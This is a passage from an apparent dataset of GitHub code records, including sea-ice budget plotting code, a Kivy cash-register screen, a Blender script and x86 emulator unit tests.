cftime.date2index(d1, self.time)\n\n        # return drift speed in m/s\n        return 1000 * self.ds_drift['dX'][t1] / 172800, 1000 * self.ds_drift['dY'][t1] / 172800\n\n    def get_monthly(self, month, year):\n        ds = None\n        _, day = monthrange(year, month)\n        t = cftime.date2index(datetime.datetime(year, month, day, 12, 0, 0), self.ds_drift_monthly['time'])\n\n        if year == 2020:\n            ds = self.ds_spring_monthly\n        elif year == 2019:\n            ds = self.ds_winter_monthly\n\n        t_sic = cftime.date2index(datetime.datetime(year, month, day, 18, 0, 0), ds['time'])\n        siconc = ds['siconc'][t_sic]\n\n        siconc[siconc == -32767] = np.nan\n        self.ds_drift_monthly['dX'][t][self.ds_drift_monthly['dX'][t] == -10000000000.0] = np.nan\n        self.ds_drift_monthly['dY'][t][self.ds_drift_monthly['dY'][t] == -10000000000.0] = np.nan\n\n        return 1000 * self.ds_drift_monthly['dX'][t] / 172800, 1000 * self.ds_drift_monthly['dY'][t] / 172800, siconc\n\n\n\n    def setup_plot(self):\n        # create figure and base map\n        fig, ax = plt.subplots(self.nrows, self.ncols,\n                               subplot_kw={\"projection\": ccrs.NorthPolarStereo(-45)}, constrained_layout=True)\n        fig.set_size_inches(32, 18)\n        for i, a in enumerate(ax.flatten()):\n            a.coastlines(resolution='50m')\n            a.set_extent(self.extent, crs=ccrs.PlateCarree())\n        return fig, ax\n\n    def plot_siconc(self, date1, date2):\n        dates = ds.time_delta(date1, date2)\n        im = None\n        count = 0\n        for i in range(int(np.floor(len(dates) / (self.nrows * self.ncols)))):\n            fig, axs = self.setup_plot()\n            for ax in axs:\n                for a in ax:\n                    print(dates[count])\n                    im = a.pcolormesh(self.xc, self.yc, self.get_variable(dates[count]), vmin=0, vmax=1,\n                                      transform=ccrs.NorthPolarStereo(-45), cmap='viridis')\n                    a.set_title(str(ds.string_time_to_datetime(dates[count])), fontsize=20)\n                    count += 1\n            cbar = fig.colorbar(im, ax=axs)\n            cbar.ax.tick_params(axis='both', labelsize=20)\n            plot.show_plot(fig, f'./plots/budgets/siconc_{dates[count - self.nrows * self.ncols]}-{dates[count]}.png',\n                           False)\n\n    def plot_drift(self, date1, date2):\n        # Gather all drift data in an array, find min and max values\n        dates = ds.time_delta(date1, date2)\n        us, vs, lengths = [], [], []\n        min_cap, max_cap = 0, 0\n\n        for date in dates:\n            u, v = self.get_drift(date)\n            us.append(u)\n            vs.append(v)\n            lengths.append((u ** 2 + v ** 2) ** .5)\n            min_cap, max_cap = min(min_cap, np.min(lengths[-1])), max(max_cap, np.max(lengths[-1]))\n\n        # Make Plots\n        im = None\n        count = 0\n        for i in range(int(np.floor(len(dates) / (self.nrows * self.ncols)))):\n            fig, axs = self.setup_plot()\n            for ax in axs:\n                for a in ax:\n                    print(dates[count])\n                    im = a.quiver(self.xc, self.yc, us[count], vs[count], lengths[count], clim=(min_cap, max_cap),\n                                  transform=ccrs.NorthPolarStereo(-45), cmap='coolwarm', scale=8)\n                    a.set_title(str(ds.string_time_to_datetime(dates[count])), fontsize=20)\n                    count += 1\n            cbar = fig.colorbar(im, ax=axs)\n            cbar.ax.tick_params(axis='both', labelsize=20)\n            plot.show_plot(fig,\n                           f'./plots/budgets/drift/drift_{dates[count - self.nrows * self.ncols]}-{dates[count]}.png',\n                           False)\n\n    def divergence(self, ux, uy, C):\n        du = (ux[:, 2:] - ux[:, :-2])[1:-1]\n        dv = (uy[2:] - uy[:-2])[:, 1:-1]\n\n        return np.multiply(-C[1:-1, 1:-1], (du + dv) / (2 * self.step_size))\n\n    def advection(self, ux, uy, C):\n        dCdx = (C[:, :-2] - C[:, 2:])[1:-1] / (2 * self.step_size)\n        dCdy = (C[:-2] - C[2:])[:, 1:-1] / (2 * self.step_size)\n\n        return -np.multiply(ux[1:-1, 1:-1], dCdx) - np.multiply(uy[1:-1, 1:-1], dCdy)\n\n    def intensification(self, C1, C2):\n        return (C2 - C1)[1:-1, 1:-1] / self.dt\n\n    def get_budgets(self, date1, date2):\n        dates = ds.time_delta(date1, date2)\n\n        for date1, date2 in zip(dates[:-1], dates[1:]):\n            C1, C2 = self.get_variable(date1, 'siconc'), self.get_variable(date2, 'siconc')\n            ux, uy = self.get_drift(date2)\n\n            self.advs.append(self.advection(ux, uy, C2))\n            self.adv_cap = max_matrix(self.adv_cap, self.advs[-1])\n            self.divs.append(self.divergence(ux, uy, C2))\n            self.div_cap = max_matrix(self.div_cap, self.divs[-1])\n            self.ints.append(self.intensification(C1, C2))\n            self.int_cap = max_matrix(self.int_cap, self.ints[-1])\n            self.ress.append(self.ints[-1] - self.advs[-1] - self.divs[-1])\n            self.res_cap = max_matrix(self.res_cap, self.ress[-1])\n\n        return dates[1:]\n\n    def monthly_average(self, dates):\n        vars = [self.advs, self.divs, self.ints, self.ress]\n        caps = [self.adv_cap, self.div_cap, self.int_cap, self.res_cap]\n        months = []\n        once = True\n\n        for var, cap in zip(vars, caps):\n            month = dates[0][4:6]\n            monthly_avg = []\n            buffer = []\n\n            for i, date in enumerate(dates):\n                c_month = date[4:6]\n                if c_month == month:\n                    buffer.append(var[i])\n                else:\n                    if once:\n                        months.append(int(month))\n                    month = c_month\n                    monthly_avg.append(np.nanmean(np.array(buffer), axis=0))\n                    buffer = []\n                    buffer.append(var[i])\n\n            var = monthly_avg\n            cap = np.max(np.absolute(monthly_avg))\n            once = False\n\n        return months\n\n    def plot_budgets(self, date1, date2, monthly=False, average=False):\n        dates = self.get_budgets(date1, date2)\n\n        if monthly:\n            dates = self.monthly_average(dates)\n\n        for i in range(int(np.floor(len(dates) / 2))):\n            fig, axs = self.setup_plot()\n            print(f'working on {dates[2 * i]} to {dates[2 * i + 1]}')\n            once = True\n\n            for a1, a2, var1, var2, cap, title in zip(axs[0], axs[1],\n                                                      [self.advs[2 * i], self.divs[2 * i], self.ints[2 * i],\n                                                       self.ress[2 * i]],\n                                                      [self.advs[2 * i + 1], self.divs[2 * i + 1], self.ints[2 * i + 1],\n                                                       self.ress[2 * i + 1]],\n                                                      [self.adv_cap, self.div_cap, self.int_cap, self.res_cap],\n                                                      ['advection', 'divergence', 'intensification', 'residual']):\n                a1.pcolormesh(self.xc[1:-1], self.yc[1:-1], var1, transform=ccrs.NorthPolarStereo(-45), vmin=-cap,\n                              vmax=cap,\n                              cmap='coolwarm')\n                a1.set_title(title, fontsize=20)\n                if once:\n                    if monthly:\n                        d1, d2 = dates[2 * i], dates[2 * i + 1]\n                    else:\n                        d1, d2 = ds.string_time_to_datetime(dates[2 * i]), ds.string_time_to_datetime(dates[2 * i + 1])\n\n                    a1.text(-0.01, 0.55, d1, va='bottom', ha='center',\n                            rotation='vertical', rotation_mode='anchor', transform=a1.transAxes, fontsize=20)\n                    a2.text(-0.01, 0.55, d2, va='bottom', ha='center',\n                            rotation='vertical', rotation_mode='anchor', transform=a2.transAxes, fontsize=20)\n                    once = False\n\n                im = a2.pcolormesh(self.xc[1:-1], self.yc[1:-1], var2, transform=ccrs.NorthPolarStereo(-45), vmin=-cap,\n                                   vmax=cap,\n                                   cmap='coolwarm')\n                fig.colorbar(im, orientation='horizontal', ax=a2)\n\n            # axs[0,-1].set_ylabel(ds.string_time_to_datetime(dates[2*i+1]), fontsize=20)\n\n            plot.show_plot(fig, f'./plots/budgets/budgets/budgets_{dates[2 * i]}_{dates[2 * i + 1]}.png', False)\n\n    def plot_average_budget(self, date1, date2):\n        months = date_range(ds.string_time_to_datetime(date1), ds.string_time_to_datetime(date2),\n                           freq='MS').month.tolist()\n        years = date_range(ds.string_time_to_datetime(date1), ds.string_time_to_datetime(date2),\n                           freq='MS').year.tolist()\n\n        advs, divs, ints, ress = [], [], [], []\n        for month, year in zip(months, years):\n            u, v, siconc = self.get_monthly(month, year)\n            try:\n                _, _, siconcp1 = self.get_monthly(month+1, year)\n                ints.append(self.intensification(siconc, siconcp1))\n                advs.append(self.advection(u, v, siconc))\n                divs.append(self.divergence(u, v, siconc))\n                ress.append(ints[-1] - advs[-1] - divs[-1])\n            except ValueError:\n                print('Could not find month: ', month+1)\n\n            try:\n                _, _, siconcp1 = self.get_monthly(1, year+1)\n                ints.append(self.intensification(siconc, siconcp1))\n                advs.append(self.advection(u, v, siconc))\n                divs.append(self.divergence(u, v, siconc))\n                ress.append(ints[-1] - advs[-1] - divs[-1])\n            except ValueError:\n                print('Could not find J in year: ', year+1)\n\n        a_cap = np.max(np.absolute(np.array(advs)))\n        i_cap = np.max(np.absolute(np.array(ints)))\n        d_cap = np.max(np.absolute(np.array(divs)))\n        r_cap = np.max(np.absolute(np.array(ress)))\n\n        print(a_cap, i_cap, d_cap, r_cap)\n\n        self.nrows = 1\n        for adv, div, int, res, month, year in zip(advs, divs, ints, ress, months[:-1], years[:-1]):\n            fig, axs = self.setup_plot()\n            axs[0].text(-0.01, 0.55, str(month), va='bottom', ha='center',\n                        rotation='vertical', rotation_mode='anchor', transform=axs[0].transAxes, fontsize=20)\n            for var, cap, title, ax in zip([adv, div, int, res],\n                                           [a_cap, i_cap, d_cap, r_cap],\n                                           ['advection', 'divergence', 'intensification', 'residual'], axs):\n                im = ax.pcolormesh(self.xc[1:-1], self.yc[1:-1], var, transform=ccrs.NorthPolarStereo(-45),\n                                   cmap='coolwarm', vmin=-cap, vmax=cap)\n                ax.set_title(title, fontsize=20)\n                fig.colorbar(im, orientation='horizontal', ax=ax)\n\n            plot.show_plot(fig, f'./plots/budgets/budgets/budget_avg_{year}-{month}.png', False)\n\n\nif __name__ == '__main__':\n    # IceData().plot_siconc('20191201', '20200331')\n    # IceData().plot_siconc('20191201', '20191210')\n\n    IceData().plot_budgets('20191101', '20200430', True)\n    # IceData().plot_budgets('20200101', '20200430', True)\n\n    # IceData().plot_average_budget('20200201', '20200229')\n    # IceData().plot_average_budget('20191101', '20200430')\n    # arr = np.array([np.array([[1,2,3], [4,5,np.nan]]), np.array([[1,2,3], [4,5,8]])])\n    # print(np.nanmean(arr, axis=0))\n\n    pass\n","repo_name":"JurijSchoenfeld/Meereisrinnen","sub_path":"budgets.py","file_name":"budgets.py","file_ext":"py","file_size_in_byte":13812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3981915640","text":"from collections import defaultdict, deque\n\ndef reposts(chain):\n    graph = defaultdict(list)\n    # visited = set()\n    for c in chain:\n        graph[c[0]].append(c[1])\n    queue = deque([])\n    queue.append(graph['polycarp'])\n    # visited.add('polycarp')\n    count = 0\n    while queue:\n        length = len(queue)\n        for i in range(length):\n            pop = queue.popleft()\n            for j in range(len(pop)):\n                # if pop[j] not in visited:\n                queue.append(graph[pop[j]])\n                    # visited.add(pop[j])\n        count += 1\n    return count\n            \n\nfirst = int(input())\nchain = []\nfor _ in range(first):\n    post = input().rstrip().split(\" \")\n    chain.append([post[2].lower(), post[0].lower()])\nprint(reposts(chain))","repo_name":"nattigy/competitive_programming","sub_path":"bootcamp 2021 fall/contest-8/B. Reposts.py","file_name":"B. Reposts.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14693985223","text":"### Packages\nimport dolfin\n\n### Imports\nfrom model.model_parameter_class import save_param\n\n\ndef get_and_save_param(config):\n    # Retrieve parameters\n\n    # Grid parameters\n    h = config.h\n    nx, ny = config.nx, config.ny\n    dim_x, dim_y = config.dim_x, config.dim_y\n\n    # Time parameters\n    n, dt = config.n, config.dt\n\n    # Model parameters\n    theta = config.theta\n    alpha = config.alpha\n    vi = config.vi\n    k = config.k\n    Cahn = config.Cahn\n    Pe = config.Pe\n    Ca = config.Ca\n    starting_point = config.starting_point\n    model = config.model_type\n\n    # Initial perturbation parameters\n    h_0, k_wave = config.h_0, config.k_wave\n\n    folder_name = save_param(h=h, dim_x=dim_x, dim_y=dim_y, nx=nx, ny=ny, n=n, dt=dt, theta=theta, Cahn=Cahn, Pe=Pe,\n                             Ca=Ca, starting_point=starting_point, h_0=h_0, k_wave=k_wave, alpha=alpha, vi=vi,\n                             model=model, k=k)\n    print(folder_name)\n    return folder_name\n","repo_name":"carogiu/cell-migration","sub_path":"model/save_param.py","file_name":"save_param.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12577482460","text":"import os\nimport math\nimport pandas as pd\n\nfrom kivy.uix.screenmanager import Screen\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nfrom kivy.uix.togglebutton import ToggleButton\nfrom kivy.core.window import Window\n\nfrom pathlib import Path\nfrom base64 import b64encode\nfrom datetime import date\n\nclass MainScreen(Screen):\n\n    def __init__(self, **kwargs):\n        super(MainScreen, self).__init__(**kwargs)\n\n        # initialize the following property values\n        self.data_path = Path(\"data\")\n        self.cache = os.path.join(self.data_path, \"cache.txt\")\n        self.date = date.today().strftime(\"%d %B %Y\")\n        self.index = 1\n        self.max = self.get_max()\n        print('Initializing system for today: {}'.format(self.date))\n        print('Data storage path: {}'.format(self.data_path))\n\n        # the following property values\n        self.batch = 0\n        self.rounded_batch = 0\n        self.option = 0\n        self.option_price = 0\n        self.total_price_value = 0\n        self.return_value = 0\n        print('Completed Intialization.')\n\n        # attach grid_layout on screen\n        self.grid_layout = GridLayout(cols=2)\n        self.add_widget(self.grid_layout)\n\n        # attach exit_button on grid_layout\n        self.exit_button = Button(text='Exit')\n        self.grid_layout.add_widget(self.exit_button)\n        self.exit_button.bind(on_press = self.exit)\n\n        # attach claim_screen_button on grid_layout\n        self.claim_screen_button = Button(text='Claim Screen')\n        self.grid_layout.add_widget(self.claim_screen_button)\n        self.claim_screen_button.bind(on_press = self.claim_screen)\n\n        # attach date_label on grid_layout\n        self.date_label = Label(text=\"{}\".format(self.date))\n        self.grid_layout.add_widget(self.date_label)\n\n        # attach index_label on grid_layout\n        self.index_label = Label(text=\"Customer No. {}\".format(self.index))\n        self.grid_layout.add_widget(self.index_label)\n\n        # attach name_label on grid_layout\n        self.name_label = Label(text='Customer Name (Nama Pelanggan)')\n        self.grid_layout.add_widget(self.name_label)\n\n        # attach name text value on grid_layout + bind a callback to generate uid\n        self.grid_layout.name = TextInput(multiline=False)\n        self.grid_layout.add_widget(self.grid_layout.name)\n        self.grid_layout.name.bind(text=self.generate_uid)\n\n        # attach name_label on grid_layout\n        self.unique_id_label = Label(text='Customer Unique ID')\n        self.grid_layout.add_widget(self.unique_id_label)\n\n        # attach name text value on grid_layout + bind a callback to generate uid\n        self.grid_layout.unique_id = TextInput(multiline=False)\n        self.grid_layout.add_widget(self.grid_layout.unique_id)\n        self.grid_layout.unique_id.bind(text=self.search_uid)\n\n        # attach weight_label on grid_layout\n        self.weight_label = Label(text='Weight (Berat) /kg')\n        self.grid_layout.add_widget(self.weight_label)\n\n        # attach weight text value on grid_layout + bind a callback to it\n        self.grid_layout.weight = TextInput(multiline=False, input_filter=\"float\", hint_text=\"20.7\")\n        self.grid_layout.add_widget(self.grid_layout.weight)\n        self.grid_layout.weight.bind(text = self.show_batch_value)\n\n        # attach batch_label on grid_layout\n        self.batch_label = Label(text='Batch (Tabung) - per {} kg'.format(os.getenv(\"BATCH_LIMIT\")))\n        self.grid_layout.add_widget(self.batch_label)\n\n        # attach batch_value_label on grid_layout\n        self.batch_value_label = Label(text='')\n        self.grid_layout.add_widget(self.batch_value_label)\n\n        # attach option_label on grid_layout\n        self.option_label = Label(text='Options')\n        self.grid_layout.add_widget(self.option_label)\n\n        # attach option_layout on grid_layout\n        self.option_layout = BoxLayout(orientation = \"horizontal\")\n        self.grid_layout.add_widget(self.option_layout)\n\n        # for each option, attach a button on option_layout\n        self.OPTIONS = os.getenv(\"OPTIONS\").split(\",\")\n        for option in self.OPTIONS:\n            self.option_button = ToggleButton(text=option, group='options')\n            self.option_layout.add_widget(self.option_button)\n            self.option_button.bind(state = self.show_option_price)\n\n        # attach calculation_label on grid_layout\n        self.calculation_label = Label(text='Calculation')\n        self.grid_layout.add_widget(self.calculation_label)\n\n        # attach calculation_value_label on grid_layout\n        self.calculation_value_label = Label(text='')\n        self.grid_layout.add_widget(self.calculation_value_label)\n\n        # attach total_price_label on grid_layout\n        self.total_price_label = Label(text='Total Price /Rp')\n        self.grid_layout.add_widget(self.total_price_label)\n\n        # attach total_price_value_label on grid_layout\n        self.total_price_value_label = Label(text='')\n        self.grid_layout.add_widget(self.total_price_value_label)\n\n        # attach payment_label on grid_layout\n        self.payment_label = Label(text='Payment (Dibayar) /Rp')\n        self.grid_layout.add_widget(self.payment_label)\n\n        # attach payment text value on grid_layout\n        self.grid_layout.payment = TextInput(multiline=False, input_filter=\"float\", hint_text=\"25000\")\n        self.grid_layout.add_widget(self.grid_layout.payment)\n        self.grid_layout.payment.bind(text = self.show_return_value)\n\n        # attach return_label on grid_layout\n        self.return_label = Label(text='Return (Kembali) /Rp')\n        self.grid_layout.add_widget(self.return_label)\n\n        # attach return_value_label on grid_layout\n        self.return_value_label = Label(text='')\n        self.grid_layout.add_widget(self.return_value_label)\n\n        # attach reset_button on grid_layout\n        self.reset_button = Button(text='Reset')\n        self.grid_layout.add_widget(self.reset_button)\n        self.reset_button.bind(on_press = self.reset)\n\n        # attach confirm_button on grid_layout\n        self.confirm_button = Button(text='Confirm')\n        self.grid_layout.add_widget(self.confirm_button)\n        self.confirm_button.bind(on_press = self.commit)\n\n    # callback methods here\n\n    def exit(self, instance):\n        print('Exiting Application...')\n\n        self.reset(instance)\n\n        Window.size = (600, 300)\n        self.manager.transition.direction = \"left\"\n        self.manager.current = \"login_screen\"\n\n    def claim_screen(self, instance):\n        print('Accessing Claim Sreen...')\n        self.manager.transition.direction = \"right\"\n        self.manager.current = \"claim_screen\"\n\n    def reset(self, instance):\n        # reset text input > will automatically call the appropriate callbacks and reset labels\n        self.grid_layout.name.text = \"\"\n        self.grid_layout.weight.text = \"\"\n        self.grid_layout.payment.text = \"\"\n        self.grid_layout.unique_id.text = \"\"\n        self.unique_id_label.text = \"Customer Unique ID\"\n        self.name_label.text = \"Customer Name (Nama Pelanggan)\"\n\n    def show_batch_value(self, instance, weight):\n        if weight == \"\": weight = 0\n\n        # update batch and rounded_batch values\n        self.batch = float(weight) / float(os.getenv(\"BATCH_LIMIT\"))\n        self.rounded_batch = math.ceil(self.batch)\n\n        # update BOTH batch_value_label and calculation_value_label (the part that has rounded_batch)\n        # print(\"Batch calculated as {} rounded to {}\".format(self.batch, self.rounded_batch))\n        self.batch_value_label.text = \"{} batch(es)\".format(self.rounded_batch)\n        self.calculation_value_label.text = \"{} x Rp. {}\".format(self.rounded_batch, self.option_price)\n\n        self.show_total_price_value(instance, self.rounded_batch, self.option_price)\n        self.show_return_value(instance, self.grid_layout.payment.text)\n\n    def show_option_price(self, instance, state):\n        # if a toggle exists (\"down\"): get price of selected option, overriding initialized value of 0\n        if state == \"down\":\n            self.option = instance.text\n            self.option_price = int(os.getenv(instance.text))\n\n            # print('Option <{}> is selected with price: Rp. {}'.format(instance.text, self.option_price))\n\n            # update calculation_value_label text (the part that has option_price)\n            self.calculation_value_label.text = \"{} x Rp. {}\".format(self.rounded_batch, self.option_price)\n\n            self.show_total_price_value(instance, self.rounded_batch, self.option_price)\n            self.show_return_value(instance, self.grid_layout.payment.text)\n\n        # if not (\"normal\"), then reinitialize option_price to 0, still calculate with option_price = 0\n        else:\n            self.option = 0\n            self.option_price = 0\n            # print('Option <{}> is deselected.'.format(instance.text))\n\n            # update calculation_value_label text (the part that has option_price)\n            self.calculation_value_label.text = \"{} x Rp. {}\".format(self.rounded_batch, self.option_price)\n\n            self.show_total_price_value(instance, self.rounded_batch, self.option_price)\n            self.show_return_value(instance, self.grid_layout.payment.text)\n\n    def show_total_price_value(self, instance, batch, option_price):\n        # recalculate total price and update total_price_value_label text\n        self.total_price_value = self.rounded_batch * self.option_price\n        self.total_price_value_label.text = \"Rp. {}\".format(self.total_price_value)\n\n    def show_return_value(self, instance, payment):\n        if payment == \"\": payment = 0\n        # recalculate return_value and update its label accordingly\n        self.return_value = int(payment) - self.total_price_value\n        self.return_value_label.text = \"Rp. {}\".format(self.return_value)\n\n    def on_enter(self):\n        '''required so that on startup, no value is written in this grid TextInput and label is unmod'''\n        self.grid_layout.unique_id.text = \"\"\n        self.unique_id_label.text = \"Customer Unique ID\"\n\n    def generate_uid(self, instance, name):\n        '''Generate unique_id only if TextInput is empty'''\n        if self.grid_layout.unique_id.text == \"\":\n            self.status = 'new'\n\n            # we only get once, per start of TextInput\n            if len(name) == 1: self.get_max()\n\n            self.offset = int(os.getenv(\"OFFSET\"))\n            self.cuid = hex(self.max + self.offset)\n\n            # show id in label if not empty\n            if len(name) != 0: self.unique_id_label.text = f\"Customer Unique ID (New): {self.cuid}\"\n            else: self.unique_id_label.text = \"Customer Unique ID\"\n\n    def search_uid(self, instance, uid):\n        # always reset name TextInput and label when uid is pressed, then search\n        self.grid_layout.name.text = \"\"\n        self.name_label.text = \"Customer Name (Nama Pelanggan)\"\n        self.status = 'old'\n\n        # search for id\n        try:\n            self.match = self.customers['UID'].str.match(f'0x{uid}')\n            customer = self.customers[self.match]\n\n        except:\n            print(f\"Customer of ID: {uid} is not found\")\n\n        finally:\n            # if 1 match, then process\n            if customer.shape[0] == 1:\n                self.grid_layout.name.text = str(customer.iloc[0]['Name'])\n                self.name_label.text = 'Customer Name (Match Found!)'\n\n                self.get_max()\n                self.cuid = f'0x{uid}'\n                print(f\"Match found in customer db!\\n{customer}\")\n\n    def commit(self, instance):\n        # get validation\n        validation = self.get_validation()\n        if validation == False:\n            print(\"Validation has failed! This customer data is not registered.\")\n\n        else:\n            # if validation == True append new_row to the correct book_path\n            book_path, df, label = self.get_current_month_book()\n            value_list = [str(self.date),\n                          str(self.index),\n                          str(self.cuid),\n                          str(self.grid_layout.name.text),\n                          str(self.grid_layout.weight.text),\n                          str(self.batch),\n                          str(self.rounded_batch),\n                          str(self.option),\n                          str(self.option_price),\n                          str(self.total_price_value),\n                          str(self.grid_layout.payment.text),\n                          str(self.return_value),\n                          str(\"UNCLAIMED\")]\n\n            new_row = dict(zip(label, value_list))\n            df = df.append(new_row, ignore_index=True)\n            df.to_excel(book_path, index=False)\n            print('Committing {} to {}'.format(value_list, book_path))\n\n            # append to db if new or update if old customer\n            if self.status == 'new': self.append_db()\n            else: self.update_db()\n\n            # write to cache as txt, this is read by claimScreen later on\n            with open(self.cache, 'a') as cache:\n                line = ','.join(value_list)\n                cache.write(f'{line}' + '\\n')\n                print(f'Also recorded in {self.cache}')\n\n            # reset for next customer\n            print('Customer {} has been recorded!'.format(self.index))\n            self.reset(instance)\n\n            # update customer index\n            self.index += 1\n            self.index_label.text = \"Customer No. {}\".format(self.index)\n\n    def get_current_month_book(self):\n        # check if this month's book exist, if not create one\n        self.date = date.today().strftime(\"%d %B %Y\")\n        book_title = \"{}.xlsx\".format(date.today().strftime(\"%B %Y\"))\n        label = [ 'Date',\n                  'Index',\n                  'Unique ID',\n                  'Name',\n                  'Weight',\n                  'Batch',\n                  'Batch (Rounded)',\n                  'Option',\n                  'Option Price',\n                  'Total Price',\n                  'Payment',\n                  'Return',\n                  'Status' ]\n\n        if book_title in os.listdir(self.data_path):\n            print('Loading {} in {}'.format(book_title, self.data_path))\n            book_path = os.path.join(self.data_path, book_title)\n            df = pd.read_excel(book_path, index=False)\n            return book_path, df, label\n        else:\n            print('Creating {} in {}'.format(book_title, self.data_path))\n            book_path = os.path.join(self.data_path, book_title)\n            df = pd.DataFrame(columns=label)\n            df.to_excel(book_path, index=False)\n            return book_path, df, label\n\n    def get_validation(self):\n        if self.grid_layout.name.text == \"\":\n            print(\"No name given! Please input a name!\")\n            return False\n        elif len(self.grid_layout.weight.text) == 0:\n            print(\"No weight specified (kg).\")\n            return False\n        elif self.rounded_batch == 0 or self.batch == 0:\n            print(\"0 Batches registered. There may be an error with script, please restart.\")\n            return False\n        elif self.option == 0:\n            print(\"No option selected.\")\n            return False\n        elif self.option_price == 0:\n            print(\"Option Price is 0. There may be an error when setting Option Price in .env file.\")\n            return False\n        elif len(self.grid_layout.payment.text) == 0:\n            print(\"Payment value hasn't been specified.\")\n            return False\n        elif self.return_value < 0:\n            print(\"Total Price exceeds payment. Please get more payment.\")\n            return False\n        else: return True\n\n    def append_db(self):\n        label = ['UID', 'Name', 'History', 'Last Date']\n        value_list = [self.cuid, self.grid_layout.name.text, 1, str(self.date)]\n        new_row = dict(zip(label, value_list))\n\n        self.customers = self.customers.append(new_row, ignore_index=True)\n        self.customers.to_excel(self.db, index=False)\n        print('Committing {} to {}'.format(value_list, self.db))\n\n    def update_db(self):\n        index = self.customers.index[self.customers['UID'] == f'{self.cuid}'].tolist()[0]\n        count = int(self.customers['History'][index]) + 1\n\n        self.customers['History'][index] = count\n        self.customers['Name'][index] = self.grid_layout.name.text\n        self.customers['Last Date'][index] = str(self.date)\n        self.customers.to_excel(self.db, index=False)\n        print('Committing update for {} to {}'.format(self.cuid, self.db))\n\n    def get_max(self):\n        self.db = os.path.join(self.data_path, \"customers.xlsx\")\n        self.customers = pd.read_excel(self.db, index=False)\n        self.max = self.customers.shape[0]\n        print(f\"Successfully loaded customer db! Length: {self.max}\")\n        return self.customers.shape[0]\n","repo_name":"calvinyusno2359/SimpleCashRegister","sub_path":"mainScreen.py","file_name":"mainScreen.py","file_ext":"py","file_size_in_byte":17025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16047848862","text":"import bpy\nimport math\nimport random\n\nradians = math.radians(90)\n\nrangeP = 5\nxp = (random.random() * 2 -1) * rangeP\nyp = (random.random() * 2 -1) * rangeP\n\nxr = random.random()\nxr *= 360\nxr = math.radians(xr)\n\nbpy.ops.mesh.primitive_plane_add(size=1, enter_editmode=False, location=(xp,yp,0.5),rotation=(xr,radians,0))","repo_name":"nie9286/VPython","sub_path":"VBlenderAddOn/VGrass/CreateGrassMesh.py","file_name":"CreateGrassMesh.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7661792500","text":"#!/usr/bin/env python3\n\nimport unittest\n\nfrom x86cpu.cpu import CPU, STACK, State, DATA, Memory, Flag, Register\nfrom x86cpu.cpu import Operand, RegisterOp, MemoryOp, ImmediateOp, OpType\n\n\nclass CPUTest(unittest.TestCase):\n    def test_init(self):\n        sentinel = list()\n        cpu = CPU(sentinel)\n\n        self.assertEqual(STACK, cpu.sp)\n        self.assertEqual(1, len(cpu.states))\n        self.assertEqual(sentinel, cpu.instructions)\n        self.assertEqual(None, cpu.data)\n\n    def test_init_data(self):\n        sentinel = list()\n        cpu = CPU(sentinel, data=sentinel)\n\n        self.assertEqual(STACK, cpu.sp)\n        self.assertEqual(1, len(cpu.states))\n        self.assertEqual(sentinel, cpu.instructions)\n        self.assertEqual(sentinel, cpu.data)\n\n    def test_load(self):\n        cpu = CPU(list())\n\n        data = {}\n        for n, char in enumerate(\"hello\"):\n            data[n] = ord(char)\n        cpu._load(data)\n\n        self.assertEqual(None, cpu.data)\n        self.assertEqual(cpu.memory[1 + DATA], data[1])\n        self.assertEqual(5, len(cpu.memory))\n\n    def test_rewrite_labels(self):\n        program = [\n                ('fake', [Operand(OpType.TEXTL, 1), MemoryOp(Register.SP)]),\n                ('fake', [RegisterOp(Register.BP),  Operand(OpType.TEXTL, 1)]),\n                ('fake', [Operand(OpType.TEXTL, 1), Operand(OpType.TEXTL, 1)]),\n                ('fake', [RegisterOp(Register.BP),  MemoryOp(Register.SP)]),\n                ('fake', [Operand(OpType.DATAL, 2), MemoryOp(Register.SP)]),\n                ('fake', [RegisterOp(Register.BP),  Operand(OpType.DATAL, 2)]),\n                ('fake', [Operand(OpType.DATAL, 2), Operand(OpType.DATAL, 2)]),\n                ('fake', [Operand(OpType.DATAL, 2), Operand(OpType.TEXTL, 1)]),\n                ('fake', [Operand(OpType.TEXTL, 1), Operand(OpType.DATAL, 2)]),\n                ]\n\n        rewrite = [\n                ('fake', [ImmediateOp(0x5501),     MemoryOp(Register.SP)]),\n                ('fake', [RegisterOp(Register.BP), ImmediateOp(0x5501)]),\n                ('fake', [ImmediateOp(0x5501),     ImmediateOp(0x5501)]),\n                ('fake', [RegisterOp(Register.BP), MemoryOp(Register.SP)]),\n                ('fake', [ImmediateOp(0x6b02),     MemoryOp(Register.SP)]),\n                ('fake', [RegisterOp(Register.BP), ImmediateOp(0x6b02)]),\n                ('fake', [ImmediateOp(0x6b02),     ImmediateOp(0x6b02)]),\n                ('fake', [ImmediateOp(0x6b02),     ImmediateOp(0x5501)]),\n                ('fake', [ImmediateOp(0x5501),     ImmediateOp(0x6b02)])\n                ]\n\n        cpu = CPU([])\n        res = cpu._rewrite_labels(program)\n        self.assertSequenceEqual(rewrite, res)\n\n    def test_get_operand_value(self):\n        state = State(registers={'ax': 0x22, 'bx': 0xdead},\n                      memory=Memory({0x22: 0x34, 0x23: 0x12}))\n\n        class Test:\n            def __init__(self, operand, value):\n                self.operand = operand\n                self.value = value\n\n        for test in (\n                Test(RegisterOp(Register.AX), 0x22),\n                Test(MemoryOp(Register.AX), 0x1234),\n                Test(MemoryOp(Register.AX, offset=1), 0x0012),\n                Test(MemoryOp(Register.AX, offset=-1), 0x3400),\n                Test(RegisterOp(Register.BL), 0xad),\n                Test(RegisterOp(Register.BH), 0xde),\n                Test(ImmediateOp(0x22), 0x22),\n                ):\n            with self.subTest(test=test):\n                cpu = CPU([], state=state)\n                self.assertEqual(test.value,\n                                 